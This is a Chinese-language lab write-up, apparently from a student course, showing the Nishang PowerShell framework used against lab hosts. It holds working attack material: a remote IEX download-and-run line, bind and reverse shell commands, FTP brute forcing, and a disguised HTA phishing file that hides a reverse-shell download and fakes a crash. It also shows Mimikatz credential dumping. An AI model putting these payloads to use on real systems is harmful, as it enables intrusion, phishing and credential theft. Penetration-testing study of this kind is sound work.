Final——Nishang
一、介绍
- Nishang是基于PowerShell的渗透测试专用工具,它集成了框架、脚本和各种payload,被广泛应用于渗透测试的各个阶段。
二、使用
- 下载脚本工具:Nishang
- Nishang需要我们的Powershell版本在v3以上才能使用。
- 查看当前Powershell版本:
get-host

- 查看当前Powershell版本:
- 进入相应目录下
- 导入框架:
Import-Module .\nishang.psm1 - 模块介绍
- 信息搜集:Gather
- 域相关脚本:Get-Unconstrained
- 一个ASPX的Webshell:Antak Webshell
- 后门:Backdoors
- Client进行有效钓鱼:Client
- 权限提升:Escalation
- 更详细的介绍和使用我们学习参考Powershell 渗透测试工具-Nishang
- 导入框架后,在使用对应脚本时,可以使用
Get-Help 脚本名称 -full得到一些使用提示 - 两种在内存当中去加载脚本的方式
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.](IEX为远程下载脚本)- 第二种:
- 使用
Invoke-Encode脚本来将我们现有的脚本编码压缩:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand - 在目标上执行:
powershell -e [encodedscript]
- 使用
三、Nishang渗透测试
1、TCP交互式Shell
- Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,且基于TCP协议。
- 参数
-Port需要正向监听的端口或要反向连接的端口。-Bind正向连接-IPAddress选择反向连接时需要连接到的IP地址-Reverse反向连接
- 正向连接
- 在靶机运行脚本,监听端口5330:
Invoke-PowerShellTcp -Bind -Port 5330 - 使用nc连接到靶机端口5330:
nc -nv 192.168.17.131 5330(这里IP为win10)

成功获取shell~
- 在靶机运行脚本,监听端口5330:
- 反向连接
- 使用nc监听本地端口5330:
nc -ltp 5330 - 在靶机上反弹shell:
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.17.130 -Port 5330(这里IP为kali)

成功获取shell~
- 使用nc监听本地端口5330:
- 脚本分析
- 我们先使用
Get-Help Invoke-PowerShellTcp -full查看信息(以下为部分,我们可以重点看语法、说明还有示例,这条命令所显示的就是脚本中的注释部分~)

- 运行参数

- 主函数部分
- 我们可以参考所学的socket编程,在wireshark中抓包,我们可以看到TCP数据包,脚本中将靶机作为服务端,在建立三次握手后,服务端会向攻击方发送数据
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

- 攻击方获取shell后输入命令时,靶机会接收并执行相应命令,在输出
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

- 我们可以参考所学的socket编程,在wireshark中抓包,我们可以看到TCP数据包,脚本中将靶机作为服务端,在建立三次握手后,服务端会向攻击方发送数据
- 我们先使用
2、服务爆破
- 在之前的学习中我们利用Nishang中的扫描模块,尝试了对FTP服务器的爆破,效果如下:

- 显示爆破过程:
Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:\Users\ASUS\Desktop\username.txt -PasswordList C:\Users\ASUS\Desktop\pass.txt -Service ftp -verbose

- wireshark中可以看到当爆破后,ftp服务器端与本地的信息交互,本地确认完得到结果后退出。
# 获取返回信息
$result = $ftpRequest.GetResponse()
$message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制台
Write-Output "Match $username : $Password"
$success = $true

3、利用HTA反弹获取shell
- Nishang中有对客户端进行钓鱼的模块——
Client,利用该模块生成各种感染的文件如HTA、Word,来执行powershell脚本发动攻击。 - HTA,HTML-Application的缩写,它直接将某个html页面保存成hta的格式,打开时显示为窗口交互界面,就是一个独立的应用软件。
- 使用Nishang中的
Out-HTA生成带有payload的hta文件:Out-HTA -PayloadScript C:\Users\ASUS\Desktop\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1

这里生成的文件是闪退的...长时间打不开.. - 借用一篇文中的代码,修改这个生成hta的脚本。
- 首先生成一个可以弹出系统计算器的代码
<title>Caculate</title>
<center>
<h1>Caculate.exe</h1>
<br>
<h2>Loading...</h2>
<br>
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
<br>
</center>
<script language="VBScript">
Set Hackdo = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
Hackdo.Run "powershell.exe -nop -w hidden calc.exe"
End If
</script>
Hackdo.Run为调用Wscript.shell中的运行外部程序的函数——run,后面跟着一条powershell命令,用powershell开启计算器。

- 然后我们可以设置出假装闪退效果,在后面添加下面代码
Hackdo.Run "taskkill /f /im mshta.exe"
这里我们只是杀死了
mshta.exe这个进程,而shellcode是注入在powershell中执行的,它的进程还在~
- 首先生成一个可以弹出系统计算器的代码
- 要生成反弹shell,就要修改后面调用powershell执行的部分,原代码中是在生成时用参数调用生成reverse的脚本:
Out-HTA -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1,但是kali那边监听没反应 - 于是换成了直接远程调用脚本,并用
vbhide用来隐藏powershell的弹窗。主要代码如下:<body>
<title>XXX-exp</title>
<center>
<h1>Caculate.exe</h1>
<br>
<h2>Loading...</h2>
<br>
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
<br>
</center>
<script language="VBScript">
Set Hackdo = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide
Hackdo.Run "taskkill /f /im mshta.exe"
End If
</script>
</body>
</html>
- windows中生成HTA:
out-hta - kali下监听端口:
nc -lv 5330 - windows下打开HTA
- windows中生成HTA:
- 终于获取shell

4、Mimikatz结合Powershell 获取目标主机账号密码
- mimikatz是由C语言编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。
- 注意我们要使用管理员身份运行PowerShell
- 导入Nishang框架
Import-Module .\nishang.psm1 - 使用
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'获取密码

参考资料
Final——Nishang的更多相关文章
- 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践
目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...
- java抽象、接口 和final
抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...
- Java内部类final语义实现
本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...
- Java关键字final、static
一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...
- JavaSE 之 final 初探
我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然. 1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...
- PHP的final关键字、static关键字、const关键字
在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...
- final修饰符
final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...
- 浅析Java中的final关键字(转载)
自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...
- java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0
java 继承使用关键字extends 继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...
随机推荐
- Introduction to Deep Learning Algorithms
Introduction to Deep Learning Algorithms See the following article for a recent survey of deep learn ...
- 查找最大和次大元素(JAVA版)(分治法)
问题描述:对于给定的含有n个元素的无序序列,求这个序列中最大和次大的两个不同元素. 问题求解分析(分治法):先给出无序序列数组a[low...high].第一种情况为当数组中只有一个元素时,此时只存在 ...
- Python 序列操作符与函数(字符串)
Python序列包括:元组.列表.字符串. 1.1 序列共同支持的函数: 函数 功能 说明 cmp(seq1,seq2) 比较序列大小 从左到右依次比较,直到比较出大小 len(seq1) 获取序列长 ...
- K2 BPM_曾经我也是996的一员_全球领先的工作流引擎
最近关于996的工作模式掀起了新一波讨论热潮.事情源于有人在知名代码托管平台GitHub上,发起了一个名为“996.ICU”的项目,意为“工作996,生病ICU”,以抵制互联网公司的996工作制,项目 ...
- webapi 之 post参数传递
最近在写webapi,在写post请求接口时遇到了不少的问题,在此记录下来. post请求的参数和get请求有点不一样,我们知道get请求的参数是通过url来传递的,而post请求则是通过http的请 ...
- S5PV210 点亮Led
GPC1CON, R/W, Address = 0xE020_0080 GPC1DAT, R/W, Address = 0xE020_0084 举例 #define GPC1CON *((volati ...
- insmod: can't insert 'xxx.ko': unknown symbol in module, or unknown parameter
手动加载内核模块时候,报如下错误信息 insmod: can't insert 'xxx.ko': unknown symbol in module, or unknown parameter 问题原 ...
- Django学习:创建admin后台管理站点
Django自带一个后台管理站点,方便我们管理数据.这个界面只给管理员使用,并不对大众开放. 创建管理员用户 py manage.py createsuperuser 如下图所示: 用户名不填的话,默 ...
- Django—Form组件
Django From简介 我们之前在HTML页面中利用form表单向后端提交数据时,都会写一些获取用户输入的标签并且用form标签把它们包起来. 与此同时我们在好多场景下都需要对用户的输入做校验,比 ...
- Nagios4.x安装配置总结
1. Nagios介绍 Nagios是一个监视系统运行状态和网络信息的监视系统.Nagios能监视所指定的本地或远程主机以及服务,同时提供异常通知功能等. Nagios可运行在Linux/Unix平 ...